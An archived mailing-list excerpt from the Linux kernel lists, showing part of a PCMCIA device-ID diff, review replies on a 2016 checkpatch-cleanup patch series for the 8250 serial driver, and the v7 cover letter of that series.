+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232-5", 0x3beb8cf2, 0=
x20da4262),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF428", 0x3beb8cf2, 0xe=
a5dd57d),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF500", 0x3beb8cf2, 0xd=
77255fa),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: IC232", 0x3beb8cf2, 0x6=
a709903),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: SL232", 0x3beb8cf2, 0x1=
8430676),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: XL232", 0x3beb8cf2, 0x6=
f933767),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial+Parallel Port: SP230",=
 0x3beb8cf2, 0xdb9e58bc),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(2, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(3, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
 	PCMCIA_DEVICE_MANF_CARD(0x0279, 0x950b),
 	/* too generic */
 	/* PCMCIA_MFC_DEVICE_MANF_CARD(0, 0x0160, 0x0002), */
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v6 00/15] tty: serial: 8250: Fix checkpatch warnings
Date: Thu, 14 Jan 2016 11:13:00 +0200
Organization: Intel Finland Oy
Lines: 154
Approved: news@gmane.org
Message-ID: <1452762780.2521.20.camel@linux.intel.com>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452763013 18758 80.91.229.3 (14 Jan 2016 09:16:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 09:16:53 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 14 10:16:36 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJe1D-0000rS-Iy
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Jan 2016 10:16:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752505AbcANJQe convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Jan 2016 04:16:34 -0500
Original-Received: from mga01.intel.com ([192.55.52.88]:43646 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752378AbcANJQ0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Jan 2016 04:16:26 -0500
Original-Received: from fmsmga003.fm.intel.com ([10.253.24.29])
  by fmsmga101.fm.intel.com with ESMTP; 14 Jan 2016 01:16:26 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.22,293,1449561600"; 
   d="scan'208";a="633254992"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by FMSMGA003.fm.intel.com with ESMTP; 14 Jan 2016 01:16:21 -0800
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26396 gmane.linux.serial:21564 gmane.linux.kernel:2126538
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26396>

On Wed, 2016-01-13 at 22:29 +0100, Anton Wuerfel wrote:
> Hello Andy,
>=20
> > Also, please thin out the Cc list, I would recommend remove just
> > ordinary commiters (with maybe few exceptions) and leave
> > maintainers.=C2=A0
> > Moreover some addresses are bounced.
> I thinned out the Cc list and left over only maintainers and major
> contributors to the code.
>=20
> > Yep!
> > However, you forgot to fix switch-case as well.
> Phillip and me are kind of git magicians. We can make code disappear
> during
> rebase :-) The piece of code was part of a commit, but it never made
> it into
> the final patch file.
> =C2=A0
> I hope, there are no major issues with our patch set.

There are comments regarding patch 12, otherwise FWIW:

Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>


>=20
> Regards,
> Anton Wuerfel
> Phillip Raffeck
>=20
> This patch set fixes several checkpatch warnings in tty/serial/8250.
>=20
> Patch 1/15:=C2=A0=C2=A0Adds missing spaces (mainly to function/macro =
headers)
> Patch 2/15:=C2=A0=C2=A0Replace spaces with tabs wherever possible
> Patch 3/15:=C2=A0=C2=A0Slight patch which moves an opening curly brac=
e
> Patch 4/15:=C2=A0=C2=A0Fixes multiline comment style
> Patch 5/15:=C2=A0=C2=A0Removes else blocks after return statements
> Patch 6/15:=C2=A0=C2=A0Slight patch which moves EXPORT_SYMBOL macro t=
o correct
> position
> Patch 7/15:=C2=A0=C2=A0Slight patch which removes an unneccessary lin=
e
> continuation
> Patch 8/15:=C2=A0=C2=A0Slight patch which adds parentheses to a macro
> definition
> Patch 9/15:=C2=A0=C2=A0Merges user-visible multiline strings to a sin=
gle line
> Patch 10/15: Replace printk by dev_* or pr_* where appropriate
> Patch 11/15: Remove orphaned debug macro
> Patch 12/15: Fix warnings in dev_dbg by adding two casts
> Patch 13/15: Fixes code indentation
> Patch 14/15: Add a generic port macro
> Patch 15/15: Refactor a switch/case statement
>=20
> Remaining checkpatch warnings after applying this patch series:
>=20
> -line over 80 characters
> 	This error mostly occurs in serial_cs.c, which contains long-
> lined
> 	macro calls. However, splitting these calls into multiple lines
> would
> 	not increase readability.
>=20
> -externs should be avoided in .c files
> 	This occurs in 8250_hp300.c. There is no corresponding header
> file
> 	the extern statement could be moved to. It could be moved to
> 8250.h
> 	but this would affect other .c files.
>=20
> -Use #include <linux/*.h> instead of <asm/*.h>
> 	This warning has been left open for more experienced kernel
> hackers.
> 	This patch series is about style issues. We do not intend to
> alter
> 	the code behavior.
> -struct uart_ops should normally be const
> 	This warning only occurs in 8250_core.c. The corresponding
> struct
> 	cannot be declared as const because it is altered in
> 	serial8250_isa_init_ports(). Maybe a checkpatch exception
> should
> 	be added for this particular warning.
>=20
> -quoted string split across lines
> 	These strings were ignored because they otherwise would exceed
> 	80 characters in a single line. These particular strings use
> 	format specifiers, which break the ability to grep for them
> anyway.
>=20
> Anton Wuerfel (15):
> Phillip Raffeck (15):
> =C2=A0 tty: serial: 8250: Fix whitespace errors
> =C2=A0 tty: serial: 8250: Replace spaces with tabs
> =C2=A0 tty: serial: 8250: Fix braces after struct
> =C2=A0 tty: serial: 8250: Fix multiline comment style
> =C2=A0 tty: serial: 8250: Remove else after return
> =C2=A0 tty: serial: 8250: Move EXPORT_SYMBOL to function
> =C2=A0 tty: serial: 8250: Fix line continuation warning
> =C2=A0 tty: serial: 8250: Add parentheses to macro
> =C2=A0 tty: serial: 8250: Fix multi-line strings
> =C2=A0 tty: serial: 8250: Correct conversion specifiers
> =C2=A0 tty: serial: 8250: Merge duplicate conditions
> =C2=A0 tty: serial: 8250: Fix indentation warnings
> =C2=A0 tty: serial: 8250: Add generic port init macro
> =C2=A0 tty: serial: 8250: Suitably replace printk
> =C2=A0 tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro
>=20
> =C2=A0drivers/tty/serial/8250/8250.h=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0| 12 ++++
> =C2=A0drivers/tty/serial/8250/8250_accent.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0| 13 +---
> =C2=A0drivers/tty/serial/8250/8250_acorn.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0|=C2=A0=C2=A02 +-
> =C2=A0drivers/tty/serial/8250/8250_boca.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0| 41 ++++++-------
> =C2=A0drivers/tty/serial/8250/8250_core.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0| 15 ++---
> =C2=A0drivers/tty/serial/8250/8250_exar_st16c554.c | 17 ++----
> =C2=A0drivers/tty/serial/8250/8250_fourport.c=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0| 28 ++++-----
> =C2=A0drivers/tty/serial/8250/8250_gsc.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0|=C2=A0=C2=A07 ++-
> =C2=A0drivers/tty/serial/8250/8250_hp300.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0| 27 +++++----
> =C2=A0drivers/tty/serial/8250/8250_hub6.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0|=C2=A0=C2=A02 +-
> =C2=A0drivers/tty/serial/8250/8250_ingenic.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0| 12 ++--
> =C2=A0drivers/tty/serial/8250/8250_pci.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0| 60 ++++++++++------
> ---
> =C2=A0drivers/tty/serial/8250/8250_pnp.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0| 28 +++++----
> =C2=A0drivers/tty/serial/8250/8250_port.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0| 47 ++++++++-------
> =C2=A0drivers/tty/serial/8250/serial_cs.c=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0| 90 +++++++++++++++---
> ----------
> =C2=A015 files changed, 203 insertions(+), 198 deletions(-)
>=20

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v6 12/15] tty: serial: 8250: Correct conversion
 specifiers
Date: Thu, 14 Jan 2016 11:31:24 +0200
Organization: Intel Finland Oy
Lines: 110
Approved: news@gmane.org
Message-ID: <1452763884.2521.23.camel@linux.intel.com>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
	 <1452720561-28443-13-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452763872 940 80.91.229.3 (14 Jan 2016 09:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 09:31:12 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel <linux-kernel@i4.cs.fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 14 10:31:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJeFI-0000GN-91
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Jan 2016 10:31:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752775AbcANJbH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Jan 2016 04:31:07 -0500
Original-Received: from mga09.intel.com ([134.134.136.24]:33048 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752811AbcANJbB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Jan 2016 04:31:01 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga102.jf.intel.com with ESMTP; 14 Jan 2016 01:31:00 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.22,293,1449561600"; 
   d="scan'208";a="890288678"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by orsmga002.jf.intel.com with ESMTP; 14 Jan 2016 01:30:55 -0800
In-Reply-To: <1452720561-28443-13-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26397 gmane.linux.serial:21565 gmane.linux.kernel:2126550
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26397>

On Wed, 2016-01-13 at 22:29 +0100, Anton Wuerfel wrote:
> This patch fixes compiler warnings about wrong conversion specifiers=C2=
=A0

This patch obviously doesn't _fix_warnings_, rather changes specifiers
to get it consistent with argument.

> used
> in a debug output in 8250_pnp.c. The precise warning is:

Usually there is no need to cite all lines=E2=80=A6

>=20
> drivers/tty/serial/8250/8250_pnp.c: In function =E2=80=98serial_pnp_p=
robe=E2=80=99:
> include/linux/dynamic_debug.h:64:16: warning: format =E2=80=98%x=E2=80=
=99 expects
> argument
> of [...]

OK.

>=20
> include/linux/dynamic_debug.h:84:2: note: in expansion of macro
> =E2=80=98DEFINE_DYNAMIC_DEBUG_METADATA=E2=80=99
>=20
> include/linux/device.h:1179:2: note: in expansion of macro
> =E2=80=98dynamic_dev_dbg=E2=80=99

Redundant.

>=20
> drivers/tty/serial/8250/8250_pnp.c:467:2: note: in expansion of macro
> =E2=80=98dev_dbg=E2=80=99
> =C2=A0 dev_dbg(&dev->dev,
> =C2=A0 ^
> include/linux/dynamic_debug.h:64:16: warning: format =E2=80=98%lx=E2=80=
=99 expects
> argument
> of [...]

OK.

>=20
> include/linux/dynamic_debug.h:84:2: note: in expansion of macro
> =E2=80=98DEFINE_DYNAMIC_DEBUG_METADATA=E2=80=99
>=20
> include/linux/device.h:1179:2: note: in expansion of macro
> =E2=80=98dynamic_dev_dbg=E2=80=99

Redundant.

>=20
> drivers/tty/serial/8250/8250_pnp.c:467:2: note: in expansion of macro
> =E2=80=98dev_dbg=E2=80=99
> =C2=A0 dev_dbg(&dev->dev,
> =C2=A0 ^
>=20
> Those warnings never got triggered, because the command was nested
> in an #ifdef, which is removed by a patch of this series.
>=20
> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> Cc: linux-kernel@i4.cs.fau.de
> ---
> =C2=A0drivers/tty/serial/8250/8250_pnp.c | 4 ++--
> =C2=A01 file changed, 2 insertions(+), 2 deletions(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_pnp.c
> b/drivers/tty/serial/8250/8250_pnp.c
> index 0c32c59..92f4412 100644
> --- a/drivers/tty/serial/8250/8250_pnp.c
> +++ b/drivers/tty/serial/8250/8250_pnp.c
> @@ -465,8 +465,8 @@ serial_pnp_probe(struct pnp_dev *dev, const
> struct pnp_device_id *dev_id)
> =C2=A0		return -ENODEV;
> =C2=A0
> =C2=A0	dev_dbg(&dev->dev,
> -		=C2=A0"Setup PNP port: port %x, mem 0x%lx, irq %d, type
> %d\n",
> -		=C2=A0uart.port.iobase, uart.port.mapbase,
> +		=C2=A0"Setup PNP port: port %lx, mem 0x%lx, irq %d, type
> %d\n",
> +		=C2=A0uart.port.iobase, (unsigned long)uart.port.mapbase,

This approach is not fully correct. In Linux kernel we have %p
extensions to cover some custom types such as resource_size_t, of which
mapbase is.

Thus,

"Setup PNP port: port %lx, mem %pa, irq %d, type %d\n",
uart.port.iobase, &uart.port.mapbase,

looks better.

> =C2=A0		=C2=A0uart.port.irq, uart.port.iotype);
> =C2=A0
> =C2=A0	if (flags & CIR_PORT) {

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 00/15] tty: serial: 8250: Fix checkpatch warnings
Date: Thu, 14 Jan 2016 16:08:09 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1452784141 15657 80.91.229.3 (14 Jan 2016 15:09:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:09:01 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:08:52 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjW7-00036b-Kh
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:08:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754984AbcANPIq (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:08:46 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57663 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754722AbcANPIl (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:41 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 51A0558C4C6;
	Thu, 14 Jan 2016 16:08:38 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:38 +0100
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126810 gmane.linux.serial:21568 gmane.linux.ports.parisc:26398
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126810>

This patch set fixes several checkpatch warnings in tty/serial/8250.

Patch 1/15:  Adds missing spaces (mainly to function/macro headers)
Patch 2/15:  Replace spaces with tabs wherever possible
Patch 3/15:  Slight patch which moves an opening curly brace
Patch 4/15:  Fixes multiline comment style
Patch 5/15:  Removes else blocks after return statements
Patch 6/15:  Slight patch which moves EXPORT_SYMBOL macro to correct
position
Patch 7/15:  Slight patch which removes an unneccessary line continuation
Patch 8/15:  Slight patch which adds parentheses to a macro definition
Patch 9/15:  Merges user-visible multiline strings to a single line
Patch 10/15: Replace printk by dev_* or pr_* where appropriate
Patch 11/15: Remove orphaned debug macro
Patch 12/15: Fix warnings in dev_dbg by adding two casts
Patch 13/15: Refactor a switch/case statement
Patch 14/15: Fixes code indentation
Patch 15/15: Add a generic port macro

Remaining checkpatch warnings after applying this patch series:

-line over 80 characters
	This error mostly occurs in serial_cs.c, which contains long-lined
	macro calls. However, splitting these calls into multiple lines would
	not increase readability.

-externs should be avoided in .c files
	This occurs in 8250_hp300.c. There is no corresponding header file
	the extern statement could be moved to. It could be moved to 8250.h
	but this would affect other .c files.

-Use #include <linux/*.h> instead of <asm/*.h>
	This warning has been left open for more experienced kernel hackers.
	This patch series is about style issues. We do not intend to alter
	the code behavior.
-struct uart_ops should normally be const
	This warning only occurs in 8250_core.c. The corresponding struct
	cannot be declared as const because it is altered in
	serial8250_isa_init_ports(). Maybe a checkpatch exception should
	be added for this particular warning.

-quoted string split across lines
	These strings were ignored because they otherwise would exceed
	80 characters in a single line. These particular strings use
	format specifiers, which break the ability to grep for them anyway.

Anton Wuerfel (15):
Phillip Raffeck (15):
  tty: serial: 8250: Fix whitespace errors
  tty: serial: 8250: Replace spaces with tabs
  tty: serial: 8250: Fix braces after struct
  tty: serial: 8250: Fix multiline comment style
  tty: serial: 8250: Remove else after return
  tty: serial: 8250: Move EXPORT_SYMBOL to function
  tty: serial: 8250: Fix line continuation warning
  tty: serial: 8250: Add parentheses to macro
  tty: serial: 8250: Fix multi-line strings
  tty: serial: 8250: Correct conversion specifiers
  tty: serial: 8250: Merge duplicate conditions
  tty: serial: 8250: Fix indentation warnings
  tty: serial: 8250: Add generic port init macro
  tty: serial: 8250: Suitably replace printk
  tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro

 drivers/tty/serial/8250/8250.h               | 12 ++++
 drivers/tty/serial/8250/8250_accent.c        | 13 +---
 drivers/tty/serial/8250/8250_acorn.c         |  2 +-
 drivers/tty/serial/8250/8250_boca.c          | 41 ++++++-------
 drivers/tty/serial/8250/8250_core.c          | 15 ++---
 drivers/tty/serial/8250/8250_exar_st16c554.c | 17 ++----
 drivers/tty/serial/8250/8250_fourport.c      | 28 ++++-----
 drivers/tty/serial/8250/8250_gsc.c           |  7 ++-
 drivers/tty/serial/8250/8250_hp300.c         | 27 +++++----
 drivers/tty/serial/8250/8250_hub6.c          |  2 +-
 drivers/tty/serial/8250/8250_ingenic.c       | 12 ++--
 drivers/tty/serial/8250/8250_pci.c           | 60 ++++++++++---------
 drivers/tty/serial/8250/8250_pnp.c           | 28 +++++----
 drivers/tty/serial/8250/8250_port.c          | 47 ++++++++-------
 drivers/tty/serial/8250/serial_cs.c          | 90 +++++++++++++++-------------
 15 files changed, 203 insertions(+), 198 deletions(-)

-- 
1.9.1



From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 04/15] tty: serial: 8250: Fix multiline comment style
Date: Thu, 14 Jan 2016 16:08:13 +0100
Lines: 203
Approved: news@gmane.org
Message-ID: <1452784104-30840-5-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784164 15980 80.91.229.3 (14 Jan 2016 15:09:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:09:24 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:09:06 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjWK-0003J7-I9
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:09:05 +0100
